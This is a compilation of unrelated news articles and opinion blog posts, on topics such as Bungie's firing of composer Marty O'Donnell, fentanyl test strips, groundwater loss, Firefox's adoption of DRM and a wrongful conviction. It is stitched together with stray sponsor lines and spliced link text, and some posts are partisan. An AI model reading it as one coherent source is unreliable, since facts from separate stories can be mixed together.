The Watford Observer's trip to Germany has been kindly sponsored by DAS Heating, Bathrooms & Lighting Supplies Ltd. Visit www.dasheating.co.uk/shop/ for more information. |
UPDATE: Venture Beat has once again issued a report stating that “A court arbitrator (not the Arbiter sorry) has ruled that Bungie has to return founders’ stock to the fired employee” – which in this case would be composer Marty O’Donnell. Bungie lawyers objected that if O’Donnell’s shares were restored, he would be a “bothersome presence at board meetings and in the company,” according to the arbitrator. However, despite the arguments from Bungie’s legal team the arbitrator overruled them and restored O’Donnell’s rights.
You can find more details about Marty O’Donnell’s termination from Bungie below.
Source: Venture Beat
PREVIOUS UPDATE: Venture Beat has issued a report that Marty O’ Donnell has won his legal battle against Bungie Chief Executive Harold Ryan, for unpaid wages. O’ Donnell filed his lawsuit on May 1st, 2014 and has been awarded a settlement for over $95,000. The breakdown consists of $38,385 for unpaid work and vacation time, as well as $38,385 in double damages. When you tack on Attorney’s fees and various court costs, Marty O’Donnell will walk away with $95,019.13.
Source: Venture Beat
PREVIOUS UPDATE: Venture Beat is reporting that Marty O’ Donnell has filed a lawsuit against Bungie and Harold Ryan, chief executive at Bungie.
O’Donnell said in the filing that Bungie and Ryan gave no explanation for the firing. The suit notes that Bungie has a policy to pay employees accrued but unused vacation, paid time off, sabbatical time, and other benefits. Ryan and Bungie reportedly promised to pay. Separately, O’Donnell has other grievances against Bungie and Ryan, and those matters are being pursued in arbitration. But that dispute isn’t described in the lawsuit. O’Donnell is asking for double damages in the lawsuit.
This offers a little bit of insight into why O’ Donnell left Bungie in April this year.
Source: Venture Beat
ORIGINAL: News hit early Wednesday morning that Marty O’Donnell, Bungie longtime composer had recently been terminated by Bungie’s Board of Directors on April 11th, 2014.
I'm saddened to say that Bungie's board of directors terminated me without cause on April 11, 2014. — Marty O'Donnell (@MartyTheElder) April 16, 2014
This comes as a huge surprise considering Destiny will be releasing this fall in September, Marty O’Donnell had also been working with Sir Paul McCartney at Bungie for the upcoming soundtrack.
No words on why it happened yet, we will update this article once the information becomes available. We wish Marty O’Donnell the best of luck on future projects.
Update: Bungie Releases Statement
For more than a decade, Marty O’Donnell filled our worlds with unforgettable sounds and soundtracks, and left an indelible mark on our fans. Today, as friends, we say goodbye. We know that wherever his journey takes him, he will always have a bright and hopeful future. We wish him luck in all his future endeavors.
What do you think about the recent news? Bad move by Bungie? Have a favorite track by Marty O’Donnell? Feel free to discuss the news on our forums now! |
An Experiment Helps Heroin Users Test Their Street Drugs For Fentanyl
Enlarge this image toggle caption Mary Harris/WNYC Mary Harris/WNYC
In the day room at St. Ann's Corner of Harm Reduction, which runs a needle exchange program in the Bronx, a group of guys are playing dominoes and listening to salsa music while they wait for lunch. And Van Asher, one of the staffers in charge of "transactions" — that means he gives out needles — is talking up his latest idea for how to keep the users here safe.
He wants to tell them what's really in their stash.
"If you're doing dope," he says to one client, "we'll give you a test strip so you can test and see if there's fentanyl."
Fentanyl is a synthetic opioid that is "similar to morphine but can be 50 to 100 times more potent," according to the National Institute on Drug Abuse. Increasingly, drug dealers have been using fentanyl to cut their heroin supply — which can be lethal for users. By using the same simple test a doctor would use to check for fentanyl in a patient's urine, Asher is now giving drug users in the Bronx a way to quickly find out what's in their syringe before they inject.
"I know what I'm getting is the raw," one client tells Asher, implying he knows his drugs are pure.
"That's what you think!" Asher tells him. "But how do you know? Are you buying it from, like, the FDA?" The client laughs.
Asher is the data manager here: He makes sure the Centers for Disease Control and Prevention and local health departments get the information they need about the drugs taken by the people who come here. But he started this project more out of his own feeling of desperation about the community he serves than out of a desire for official data collection.
He says the number of overdose deaths in the last year has been so overwhelming, he's tried to stop counting them. But the New York City Department of Health and Mental Hygiene says drugs killed more than 1,300 people in 2016 — the highest number on record. And public health officials say that rise has been driven, in large part, by fentanyl.
As Asher says, "You see someone, you go: 'I'll see you tomorrow.' And you never see them again."
Which is why he and St. Ann's Corner recently ordered a bunch of fentanyl test strips from Canada and started handing them out. The idea is that giving users information about what they're using could empower them make a better choice. If they know there's fentanyl in the mix, maybe they'll inject the drug more slowly. Maybe they'll use in a safer place. Maybe they won't use at all.
Now, Asher is working with needle exchanges around the country who are trying the same sort of thing. Dr. Alexander Walley, the director of the addiction medicine fellowship program at Boston Medical Center, has been tracking the use of these test strips since the idea first got started last year, at a needle exchange in Vancouver, called Insite.
"From what I've heard ... even when they know they're going to be positive for fentanyl, the experience of somebody testing their drugs and seeing that it's fentanyl has an impact," Walley says. "It really encourages them to use more safely."
Insite, which is funded by the Canadian government, is also the only "safe injection" site in North America. That means there's a key difference between what's happening there, and what's happening at needle exchanges in the U.S. In Canada, whether or not a user's drugs test positive for fentanyl, he or she can stay at Insite and inject under a nurse's supervision, which increases the chances that an otherwise lethal overdose could be reversed.
Walley thinks about these test strips the same way he thinks about a fire extinguisher or a seat belt: as a precaution. He's interviewed heroin users, and says while some users tell him they like fentanyl, and some don't, "the majority of people are agnostic. Because the people we interview, they have a daily opioid use disorder — and what they really care about is not being in withdrawal."
"At the end of the day," he continues, "I think giving people knowledge about what they're putting in their body is probably a good thing more than a bad thing."
But will these test strips help users in the Bronx avoid an overdose? Asher says the only way to know is to give them out and study what happens next.
His project is still very much a work in progress. Asher says that he's been giving out about 10-15 test strips a day, and is starting to run low. Each strip costs about a dollar, and the budget at St. Ann's, which is funded primarily by the city and state departments of health, is tight. Asher has tried handing out surveys with the strips, to figure out which brands might be more dangerous, or what a tainted batch might look like. But it's hard to get users to report back.
One thing he's already learned: Fentanyl has become a big part of the local drug supply in the Bronx. One user, Vincente Estepa, says all but one of the bags of heroin he tested came up positive for fentanyl.
When asked whether that will change the way he uses, though, he says no.
"At the end of the day an addict is an addict, Estepa says. "It's stronger! If it makes me feel the euphoria, I'm going to go for it."
Estepa says dependence on the drug means constantly looking to avoid "E." That stands for "empty," he explains — when the physical symptoms of opioid withdrawal kick in. And avoiding withdrawal can mean taking risks.
Using heroin has already taken a lot from him. Estepa has lost his job. He's homeless. But he's still alive. The people running this project want to keep it that way. |
Groundwater reserves are falling, but little is known about how much water is left.
Image courtesy of J. S. Famiglietti, The Global Groundwater Crisis, Nature Climate Change, November 2014 Water reserves are falling in several of the world’s major aquifers in Earth’s arid and semi-arid mid-latitudes. The graph shows declines in water storage translated into a decrease in water levels, measured in millimeters. The data is derived from the NASA GRACE satellite mission. The storage changes are shown month-by-month for the period of April 2002 to May 2013, with 24-month smoothing, a statistical technique used to show long-term trends. Click image to enlarge.
The world is perilously ignoring the water crisis that is occurring underfoot, writes Jay Famiglietti in the journal Nature Climate Change.
A professor of Earth System Science at the University of California, Irvine, Famiglietti has helped refine the premier tool for understanding large-scale changes in groundwater reserves. Measurements from NASA’s GRACE satellite mission, launched in 2002, have revealed unsettling trends in the world’s major aquifers: they are almost all declining.
Sound management of new demands for water requires a better understanding of the supplies available, according to Famiglietti.
“Full appreciation of the importance of groundwater to the global water supply and security is essential for managing this global crisis, and for vastly improving management of all water resources for the generations to come,” he writes in an article published on October 29.
Two billion people use aquifers as a primary drinking water source, and groundwater accounts for roughly one-third of the world’s water withdrawals. The highest rates of groundwater depletion are in the world’s largest food-growing regions: California’s Central Valley, the Ogallala Aquifer of the American Great Plains, the plains of northern China and northwest India, as well as the Tigris and Euphrates River Basin.
The consequences of ignoring groundwater are severe, Famiglietti says. Because half of the water used for irrigation comes from underground, food production is at risk if water supply and demand are not balanced.
“Vanishing groundwater will translate into major declines in agricultural productivity and energy production, with the potential for skyrocketing food prices and profound economic and political ramifications,” he claims.
Responses Are Available
To address the crisis, Famiglietti offers five steps that require immediate action:
Acknowledge that in many arid basins, demands far exceed supply. “The myth of limitless water and the free-for-all mentality that has pervaded groundwater use must now come to an end,” he writes. To begin closing that chasm, he recommends starting with agriculture, which accounts for 80 percent of the world’s water use, about half of which is from groundwater. Farmers can be more efficient with the supplies they have by using irrigation technologies that require less water and land -management practices that prevent soil moisture from evaporating. Fill knowledge gaps. Though it is such an important resource, little is known about the actual volumes of water underground. Calculations often amount to back-of-the-envelope estimates. Measurement of groundwater pollution is also missing. Manage rivers and aquifers as one system. Because the two are connected, rampant use of groundwater causes streams to run dry. Major rivers in the American Great Plains and Southwest U.S. are sandy channels where groundwater withdrawals are the highest. Conversely, too much water pulled from streams limits the water that is available to refill aquifers. Measure, report, and share water data. Without measurement, attempts at management are rendered blind. Put groundwater on the international political agenda. Water treaties between countries that share a river basin are common, Famiglietti notes. But treaties to define and divide groundwater resources are rare. The United Nations reckons that 448 aquifers cross political boundaries – a number that continues to rise as more studies are completed.
The consequences of inaction are stark, Famiglietti asserts.
“Further declines in groundwater availability may well trigger more civil uprising and international violent conflict in the already water-stressed regions of the world, and new conflict in others,” he writes. “From North Africa to the Middle East to South Asia, regions where it is already common to drill over 2 km to reach groundwater, it is highly likely that disappearing groundwater could act as a flashpoint for conflict.”
Scientists are ringing these alarm bells with greater frequency. A year ago, the National Research Council, an arm of the most prestigious scientific body in the United States, argued that groundwater is a fraying safety net.
As reserves fall, society will find responding to droughts and shifting weather patterns all the more difficult. It is now up to the politicians and managers to heed the warnings. |
Insurance industry pricing climate risk as a dead certainty
Insurance underwriters generally operate in the real world, where science trumps ideology (that's why terrorism insurance is pretty darned cheap -- despite the politically successful posturing of our leaders, terrorism just isn't a very big threat). That's why climate change insurance costs big bucks -- insurers know that it's real, it's coming, and it's really, really bad news.
The difference between the general Big Business propaganda intended to sow doubt about climate science and the cold, hard economic reality of underwriting the risk of climate catastrophe is telling. It's like the Texas Young Earth Creationists who profess a public belief in the 5,000-year-old Biblically accurate planet, but still allow their geoscientists to direct oil-drilling operations in accord with the blasphemous four-billion-year-old Earth. Money talks, bullshit walks.
And the industry expects the situation will get worse. “Numerous studies assume a rise in summer drought periods in North America in the future and an increasing probability of severe cyclones relatively far north along the U.S. East Coast in the long term,” said Peter Höppe, who heads Geo Risks Research at the reinsurance giant Munich Re. “The rise in sea level caused by climate change will further increase the risk of storm surge.” Most insurers, including the reinsurance companies that bear much of the ultimate risk in the industry, have little time for the arguments heard in some right-wing circles that climate change isn’t happening, and are quite comfortable with the scientific consensus that burning fossil fuels is the main culprit of global warming. “Insurance is heavily dependent on scientific thought,” Frank Nutter, president of the Reinsurance Association of America, told me last week. “It is not as amenable to politicized scientific thought.” Yet when I asked Mr. Nutter what the American insurance industry was doing to combat global warming, his answer was surprising: nothing much. “The industry has really not been engaged in advocacy related to carbon taxes or proposals addressing carbon,” he said. While some big European reinsurers like Munich Re and Swiss Re support efforts to reduce CO2 emissions, “in the United States the household names really have not engaged at all.” Instead, the focus of insurers’ advocacy efforts is zoning rules and disaster mitigation.
For Insurers, No Doubts on Climate Change [Eduardo Porter/New York Times]
(via /.) |
The animal kingdom got off to a slow start. Studies on DNA indicate that the first animals evolved more than 750 million years ago, but for well over 200 million years, they left a meager mark on the fossil record. As best as paleontologists can tell, the animal kingdom during that time consisted of little more than sponges and other creatures rooted to the ocean floor.
But then, about 520 million years ago during the Cambrian Period, animal evolution shifted into high gear. Fast-moving predators, scavengers and burrowers evolved. Many of the major living groups of animals left their first fossils during this so-called Cambrian explosion, including our own ancestors. But the Cambrian explosion also brought many bizarre species that have long puzzled paleontologists.
For almost 40 years, the poster child for the Cambrian explosion’s strangeness has been a hand-size armored worm with a name to suit its bizarre appearance: Hallucigenia.
But recently, Hallucigenia has lost much of its mystery. Scientists have worked out the creature’s anatomy, and they have figured out a lot about how Hallucigenia and its relatives thrived in the Cambrian oceans. And despite its odd appearance, Hallucigenia isn’t an incomprehensible zoological experiment. Paleontologists have been able to place it comfortably on the evolutionary branch that led to a group of invertebrates alive today called velvet worms. |
Starbucks is reformulating its Pumpkin Spice Latte this season; Photo: Starbucks
NEW YORK (AP) – Starbucks and Panera are each hyping reformulated versions of their pumpkin spice lattes in a fight to win over fans of the drink in coming weeks.
Starbucks Corp. said Monday its version of the concoction this year will be made with real pumpkin, and without caramel coloring. The change comes after blogger Vani Hari, known as the Food Babe, criticized Starbucks last year for the drink’s ingredients and its lack of transparency around the issue.
MORE: 6 Iced Coffee Recipes With a Twist
Panera meanwhile, also said its pumpkin spice latte this year will be made “entirely without artificial colors, flavors, sweeteners, preservatives or high fructose corn syrup.” The chain plans to offer samples Tuesday in Seattle, where Starbucks is headquartered. The sampling will be across the street from the first Starbucks location by Pike Place market, according to a Panera representative.
Panera Bread Co. says its version of the drink also has real pumpkin and will be sold in its stores starting Sept. 9. Starbucks has not yet said when its drink will be available.
MORE: The Best Fast-Food Iced Coffees, Ranked
The popularity of the pumpkin spice latte at Starbucks has made it common offering on menus at other chains during the fall.
Starbucks CEO Howard Schultz has called the pumpkin spice latte the company’s “most popular seasonal beverage ever.” In late 2013, he said sales of the drink were as strong as ever “despite the proliferation of knockoffs and copycats.”
The company even has a Twitter account set up for the drink, which has more than 82,000 followers. |
Photo: StarMama
Saturday night, a deputy attorney general for the state of Indiana said that police should shoot the peaceful U.S. citizens who have taken over the capital building in Wisconsin in protest.
Update: The douchelord who sent the original Tweet has been fired!
Yeah, so this is stunningly callous and inhumane, plus it would probably cause a civil war or something. But suppose that’s not enough for you? Well, how about this: Gunning down peaceful protestors is also crappy for the environment. Here are some additional reasons police in Wisconsin might not want to shoot picketers dead with actual bullets:
Trumpeter Swans, among the most regal of America’s waterfowl, eat buckshot decades after its been fired and die:
The lead can be picked up as grit or consumed by accident along with the swan’s food source. Because birds don’t have teeth, they use the grit to help break up or grind their food in their gizzards. “Waterfowl think lead shot is grit,” said Jordan, the Washington Working Group chair for the Trumpeter Swan Society. “They eat it for digestion, then it gets into their bloodstreams. It only takes three pellets to kill a trumpeter swan.” A single shotgun shell can contain more than 250 lead pellets.
Lead in bullets is a major source of this pernicious environmental toxin, but mostly if you eat whatever’s been shot with it:
Lead ammunition also poses health risks to people. Lead bullets explode and fragment into minute particles in shot game and can spread throughout meat that humans eat. Studies using radiographs show that numerous, imperceptible, dust-sized particles of lead can infect meat up to a foot and a half away from the bullet wound, causing a greater health risk to humans who consume lead-shot game than previously thought.
The EPA has rejected efforts to get the lead out of bullets, but only because it’s a politically charged issue: |
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On his radio show today, the unstable Glenn Beck was discussing health care reform with bat poop crazy Rep. Steve King (R-IA) and they both came to the interesting conclusion that health care reform is an affront to the conservative sensibilities of God, because the vote may be held on Sunday. Beck said, “Here is a group of people that have so perverted our faith and our hope and our charity, that is a this is an affront to God.”
Here is the audio courtesy of Think Progress:
King said, “They intend to vote on the Sabbath during Lent to take away the liberty that we have right from God.”
Beck then went off, “Steve, you are a religious man? Thank you for pointing this out. I thought of this the other day because I have been saying faith, hope, and charity. Faith has been perverted, and our hope, they are trying to sell this hope that we’ll have faith in the government that they’ll be charitable, and I thought they are going to vote this damn thing on a Sunday, which is the Sabbath, during Lent. You couldn’t have said it better. Here is a group of people that have so perverted our faith and our hope and our charity, that is a, this is an affront to God. And I honestly, I don’t think anybody is like, “yes, and now what we’ll do is we’ll vote on the Sabbath.” But I think it’s absolutely appropriate that these people are trying to put the nail in the coffin on our country on a Sunday — something our founders would have never, ever, ever done. Out of respect for God.”
It so pathetic that the only defense that King and Beck can mount is that they are upset because the vote might be held on a Sunday. If that isn’t a huge admission of defeat, then I don’t know what is. It isn’t like Republicans have ever passed any bills on Sundays. As Think Progress pointed out, it was on Palm Sunday in 2005 when the Republican controlled Senate passed the bill that allowed the federal court to intervene in the Terri Schiavo, which one could argue was a true affront to God.
Once again, Beck implied that the Founding Fathers all held the same views and Christian beliefs that he does. This is not true. It is sad to watch these right wingers try to exploit the religious views of so many Americans for their own political gain. Would it still be an affront to God if the House passed a bill relating to school prayer on a Sunday? I don’t think Beck would be outraged about that. This is GOP 101. When all else fails call in the religious right and hope that they will save the day, but this time not even the God freaks can keep the House from doing what is right.
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SPIEGEL: Who or what is to blame for the nuclear catastrophe in Fukushima?
Hans Joachim Schellnhuber: The earthquake was merely the trigger. The crazy logic we apply in dealing with technical risks is to blame. We only protect ourselves against hazards to the extent that it's economically feasible at a given time, and to the extent to which they can be controlled within the normal operations of a company. But the Richter scale has no upper limit. Why is a Japanese nuclear power plant only designed to withstand a magnitude 8.2 earthquake, not to mention tsunamis?
SPIEGEL: Presumably because otherwise electricity from nuclear power would have been too expensive.
Schellnhuber: The entire affluence-based economic model of the postwar era, be it in Japan or here in Germany, is based on the idea that cheap energy and rising material consumption are supposed to make us happier and happier. This is why nuclear power plants are now being built in areas that are highly active geologically, and why we consume as much oil in one year as was created in 5.3 million years. We are looting both the past and the future to feed the excess of the present. It's the dictatorship of the here and now.
SPIEGEL: What's your alternative?
Schellnhuber: We have to stop constantly ignoring the things that are truly harmful to our society. This includes nuclear accidents, but also the prospect of the Earth becoming between 6 and 8 degrees Celsius (11 to 14 degrees Fahrenheit) warmer by the year 2200. Only when we have taken the possibility of maximum losses fully into account can we decide whether we even want a specific technology.
SPIEGEL: Up until now, you haven't been one of the vocal opponents of nuclear power.
Schellnhuber: But neither was I a supporter of nuclear power. My position was: Let's take advantage of the cost benefits of the existing nuclear plants to quickly develop renewable energy systems. It was my hope that something good would emerge from something bad.
SPIEGEL: How do you feel about the government's plans to temporarily shut down seven nuclear power plants in Germany?
Schellnhuber: It's the right thing to do. Something resembling what happened in Japan could also happen in Germany if one of the countless possible chains of unfortunate events were to occur. It's the unavoidability of the improbable. But the way the government approached the issue was not very beneficial for Germany's political culture.
SPIEGEL: Why?
Schellnhuber: Last year they decided that German power plants are safe. This allows for only two possible conclusions: Either the full truth wasn't recognized at the time, in which case it was bad policy, or they are reacting in a purely opportunistic fashion now, against their better judgment. That's even worse policy.
SPIEGEL: Are you worried that the government's new anti-nuclear course will lead to higher CO2 emissions because more coal will be burned once again?
Schellnhuber: Actually, I'm convinced that this is precisely what Chancellor Angela Merkel will not allow. Now everyone is starting to realize that society's entire fossil-nuclear operating system has no future and that massive investments have to be made in renewable sources of energy.
SPIEGEL: Do you feel that the government's abrupt change of course in relation to its energy policy is adequate?
Schellnhuber: No. It can only be the beginning of a deep-seated shift. The German Advisory Council on Global Change, which I chair, will soon unveil a master plan for a transformation of society. Precisely because of Fukushima, we believe that a new basis of our coexistence is needed.
SPIEGEL: What does that mean?
Schellnhuber: We need a social contract for the 21st century that seals the common desire to create a sustainable industrial metabolism. We must resolve, once and for all, to leave our descendants more than a legacy of nuclear hazards and climate change. This requires empathy across space and time. To promote this, the rights of future generations should be enshrined in the German constitution.
SPIEGEL: And specifically?
Schellnhuber: For example, we have to stabilize energy consumption at a reasonable level. If we would finally start exploiting the full potential for energy efficiency in Germany, we could get by with at least 30 percent less energy input -- without being materially worse off.
SPIEGEL: How do you intend to convince society of the need for an upper limit to energy consumption?
Schellnhuber: It can only be achieved with cultural change. To that end, society needs to have an entirely different discussion than before. This sort of change is one of the most difficult things I can imagine.
SPIEGEL: Belt-tightening hasn't exactly been popular in the past.
Schellnhuber: All it costs is a few percentage points of economic output to turn away from the dangerous path that would otherwise lead to more nuclear accidents and unchecked climate change. Green investments would only delay the growth of affluence between now and the year 2100 by six to nine months. Is that really too high a price to pay?
SPIEGEL: Why is it that your messages haven't been all that well received until now?
Schellnhuber: I'm neither a psychologist nor a sociologist. But my life experiences have shown that the love of convenience and ignorance are man's biggest character flaws. It's a potentially deadly mixture. |
Mozilla announced today that it will follow the lead of Microsoft, Google, and Apple and implement support for the contentious HTML5 digital rights management specification called Encrypted Media Extensions (EME).
The organization is partnering with Adobe to make the change. Mozilla will provide the hooks and APIs in Firefox to enable Web content to manipulate DRM-protected content, and Adobe will provide a closed source Content Decryption Module (CDM) to handle the decryption needs.
For a group that's committed to open standards and open source, this was a difficult decision. DRM, which tends to restrict fair use access to copyrighted content, and closed source modules both run counter to Mozilla's goals. Explaining the decision, Mozilla Foundation CEO Mitchell Baker argued that the decision was driven by necessity. With Internet Explorer, Chrome, and Safari all enabling EME, Mozilla faced a problem: if it refused to support EME, it risked driving users seeking to watch DRM-protected content to other browsers.
That streaming media companies want to use EME is beyond doubt. Netflix, for example, offers an HTML5-based player using EME as an alternative to its Silverlight-based front-end. This HTML5 player works in both Chrome and Internet Explorer 11. Baker argues that users will tend to follow the content and hence switch to these browsers whenever they want to watch protected content. This in turn leads those users to question the use of Firefox entirely.
This push for HTML5 and EME is likely to accelerate, too. Google is trying to deprecate support for browser plugins, a move that will, in time, eliminate both Silverlight and Flash as delivery mechanisms for DRM-protected content. For broadcasters that want to target the Web, EME will be the only practical option. This will increase the pressure faced by Mozilla.
As much as Mozilla as an organization may dislike DRM, and as much as it may believe the EME specification to be flawed, Baker says that Mozilla cannot change the industry alone. As such, it needs to support DRM, too. The choice of whether to use the DRM facilities will be left to the end user, and those who do not want to use it can elect not to activate it. The CDM will not actually be distributed with Firefox, either; if users elect to use it, it will be downloaded from Adobe.
In a more technical post, Mozilla CTO Andreas Gal outlines some of the ways that the Firefox developers have tried to isolate the Adobe CDM to ensure that this closed source black box cannot breach user privacy or undermine system security. The CDM is run in an isolated sandbox without access to the network or the user's hard drive.
HTML5's DRM system also includes a unique identifier that content providers can use to identify devices. Mozilla has taken pains to make this as minimally invasive as possible. Firefox will give each site a unique ID, preventing providers from tracking users across multiple sites. The ID will also not disclose any details of the underlying hardware.
As a silver lining, Gal writes that implementing EME will make it easier for Mozilla to phase out support for general purpose plugins, as HTML5 DRM eliminates one of the biggest use cases for these plugins.
In some ways, the DRM issue mirrors the earlier video codec issue. For a long time, Mozilla refused to implement support for H.264-encoded video because of the licensing and patent issues associated with that compression algorithm. But driven by the need to play back the video that was abundant on the Web—and the battery efficiency that comes from leveraging hardware-accelerated H.264 playback—the group eventually relented.
There are some similarities in the way Mozilla has chosen to resolve the issue, too. For H.264 support, Firefox defers to third-party code that's often closed source: the built-in H.264 codecs available on Windows and OS X and the hardware support found in the chips used in tablets and smartphones.
In both cases, Mozilla found itself unable to change the direction of media industry juggernauts. DRM, like H.264, is entrenched in the video industry, and the proliferation of apps strongly suggests that content producers would sooner give up the Web before giving up content protection. Combined with a userbase that seems largely indifferent to the concerns raised—Netflix users are demonstrably willing to use DRM, for example—Mozilla's leverage is minimal at best.
This is not to say that the organization has not tried. Mozilla has pushed watermarking as a superior alternative to DRM, but this approach seems to have done little to interest content owners. Without some large user-driven pushback against DRM, it's hard to see this situation changing. |
For Immediate release: June 20, 2017
Project Shutdown Members Recover $800,000.00 in Stolen Vehicles
Southwestern Ontario experiences an extraordinarily high number of auto theft occurrences each year. It is estimated that the stolen car industry is a 600 million dollar a year illicit industry in Ontario. In particular, high end GMC pickup trucks and SUV’s are frequently targeted and “stripped” for their parts and sold illegally and within criminal networks.
Project Shutdown is a multi- jurisdictional joint forces project led by the Hamilton Police Service and includes members from the Halton Police Service, Six Nations Police, the Ontario Provincial Police, and Brantford Police Service. The project is aimed at targeting auto theft, in and around the greater Toronto area.
Members of Project Shutdown, using different investigative techniques, were able to identify numerous locations on the Six Nations Territory where stolen vehicles were being dropped off and dismantled.
On Thursday, June 15th 2017 a total of 75 stolen vehicles were located and recovered by police. The approximate value of the recovered stolen vehicles is $811,000.
If you have any information that you believe could assist Police with the investigation into this crime you are asked to contact S/Sgt. Emidio Evangelista by calling 905-546-2991
To provide information anonymously call Crime Stoppers at 1-800-222-8477 or submit your anonymous tips online at http://www.crimestoppershamilton.com |
- A former Fort Worth police officer has been exonerated after spending 21 years in prison after being accused of raping a young girl.
Brian Franklin was sentenced to life in prison in the 1994 rape of a 13-year-old girl. He got out in May when the Texas Court of Criminal Appeals granted him a new trial. That trial concluded on Friday with a verdict of "not guilty".
Franklin was granted a new trial when the court ruled that he was denied due process because his alleged victim lied under oath.
Two years ago in a 2014 hearing, the alleged victim admitted that she lied in part of her testimony but remained adamant that Franklin raped her.
Franklin’s family was there when he got out of prison in May and was in court on Friday when the jury in his second trial delivered a verdict of "not guilty.”
“I knew it was going to come,” the exonerated man said. “I wasn't surprised."
Franklin has maintained his innocence since his arrest.
“I had the trifecta against me: I was an innocent man, I was a former police officer and I was accused of raping a child.” He said.
The accuser was the daughter of one of Franklin's friends. Tarrant County prosecutors had no DNA evidence and only relied instead on testimony.
John Peterson, the accuser's stepbrother, feared testifying in the first trial but came forward about 10 years ago. He said she confided in him days after the alleged assault and said that she made it all up.
Peterson testified on Franklin's behalf this week and was happy to help clear Franklin's name.
"I can't imagine what he's been through. It's scary,” Peterson said. “It's scary that someone can just take somebody's word, and he can be locked up like that."
"If somebody knows something, say something,” said Darren McMunn, who testified for Franklin. “If you know of an injustice, come forward."
McMunn also testified on Franklin's behalf and said the girl's mother told him her daughter was lying.
Franklin is angry but said Friday’s victory overpowers those feelings for now.
"I'm not the first and I probably won't be the last,” he said. “When the system makes mistakes, they need to admit it."
Franklin wants to channel his frustration and use his experience in law enforcement and behind bars to help others who are wrongfully convicted.
"They came forward when they heard something or saw something or knew something,” he said. “Do the right thing."
Franklin's attorney, Dick DeGuerin, says he is exonerated under the law but wants to expunge the charge and will file a declaration of innocence.
DeGuerin says he will sue for damages. If Franklin is declared innocent, he can also ask the state for compensation from the wrongfully accused fund. People who are wrongfully convicted and have to spend time in prison can be paid but have to be found innocent first.
Calls to the Tarrant County District Attorney's Office for comment were not returned. It’s unclear if anything will happen to the accuser in regards to the perjury. |
All Lance Sanderson wants is to bring another boy to his school’s homecoming dance, but administrators won’t let him.
Sanderson is a senior at Christian Brothers High School, an all-boys Catholic prep school in Memphis. Last year, he says he spoke with an administrator about bringing a boy from another school to the dance. That administrator gave him permission, but has since left his position at the school.
Now, school officials have demonstrated a significant shift in attitude.
“I was sitting down talking to one of the current administrators over the summer, and at the end of our conversation, I mentioned it, expecting him to say the same thing. And he had a very different response,” Sanderson tells the Memphis Flyer. “He mentioned a [gay] couple in Texas and said I was a lot like this one person and said that the guy’s boyfriend murdered him. It was a little rough.”
The school cited a policy against boys from other schools attending social functions as its reason for denying Sanderson’s request.
The official policy reads: “CBHS students may attend the dance by themselves, with other CBHS students, or with a girl from another school. For logistical reasons, boys from other schools may not attend.”
According to Sanderson, that policy has been read over the school’s loudspeaker daily for the past week.
“The way they worded it is ‘for logistical reasons, boys from other schools may not attend.’ I asked about it in a meeting [Tuesday] morning, and they said they didn’t want guys from our school getting into disagreements with guys from other schools,” Sanderson says.
The school’s marketing and communications director, John Morris, said it would not be releasing any comment over the matter.
h/t: Raw Story
This Story Filed Under |
Let’s start out with saying I was not a flight guy. To give you an idea of my experience in flight up to this purchase I had owned two flight style RC setups. The first being the Axe CP100 and the second was the Heli-Max 1SQ quadcopter. Both pretty small but I thought that learning on smaller less expensive systems first would be more cost effective. First flight on the CP100 I hit a bird cage and had to replace motors, tail assembly, blades, and body. Needless to say I did not get much more time on that before I decided to step it back a bit. The 1SQ was definitely a lot better for me. It was a lot more stable and easier to maneuver. Inside I could control it easily and I had a general sense of how it worked. Going outside you definitely had to be more careful as you were constantly fighting the wind to keep it stable. After several flights I understood the concepts but I still didn’t feel confident in flight. For the most part I went back to my cars allowing these little beasts to collect dust.
I was told on forums and by fellow RC pilots that going bigger would actually be easier. It made sense as something heavier would be less affected by wind. After doing a bit of research and seeing the benefit of being able to capture some amazing airborne footage I decided to pick up the DJI Phantom.
My maiden flight was without any video recording equipment what so ever. But let me tell you it was amazing. Without much control of the transmitter at all this thing was able to get off the ground, remain stable, and make me look like I knew what I was doing! After playing with all of the sticks to get a sense of how it worked I sent the Phantom up into the sky. So high I could barely see it. I then slowly brought the DJI Phantom back to earth. Coming down only a few small adjustments were necessary to bring the Phantom back down in the exact same location it took off from. Hovering ten feet in the air I was able to set the remote down and it would sustain its position in relation to earth. It was just so easy. Using the stock pack I did not get the flight time I would have preferred but that is to be expected with most stock setups.
I made it a priority to make a trip to the electronics store and I picked up the Go Pro Hero 3 Black edition. I then had it mounted in place and took some preliminary footage. I also grabbed two 2800Mah MaxAmps Phantom Packs for some extended flight time. Totally worth it! The average flight with equipment for me was just over 6 minutes. With the larger capacity pack I was seeing over 9 minute flights.
After a few different flights I felt confident and I was able to capture some good footage but it was a challenge to guess whether I got that desired shot or not. One unfortunate problem I was already aware of was that I could not have the Go Pro WiFi enabled as it would interfere with the Phantom. I basically had to run to my computer after I landed to see if I got the shot I was looking for. This was definitely not the most efficient method so back to the store I went for the last upgrade I have purchased up to this point. I picked up the Fat Shark Predator V2 FPV kit. With this I was able to mount a second camera on the Phantom and I could see the footage as I captured it. This setup really opened up the capabilities of where I could go and what I could see.
I could travel long distances without having the quad in sight. The DJI Phantom was also easier to maintain proper direction because I was always in the front seat. Be aware that this is not an effective method to monitor depth perception. Flying in open areas would be preferred. If you are in a tight area I would recommend a spotter to make sure you don’t hit anything.
I may look at more upgrades moving forward to increase flight time and stability but I feel confident now in navigating my quad over trees, water, and anything else that gets in my way. If you have any questions about my setup, our 2800mah packs, or a recommendation on a future upgrade please leave a comment below.
– Joshua Barker PR Manager |
A majority of Democratic voters want Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE to stay in the race despite his narrowing chances of winning the party’s nomination, according to a new Morning Consult poll released Wednesday.
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The poll found that 57 percent of Democrats and Democratic-leaning independents think Sanders should stay in the race. That number is identical among all voters, with 28 percent saying he should drop out.
Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE, the front-runner for the nomination, is still preferred by the party’s voters, however, outpacing Sanders 46 percent to 42 percent.
The poll surveyed 2,001 registered voters from May 27 to 30. It has a margin of error of 2 percentage points.
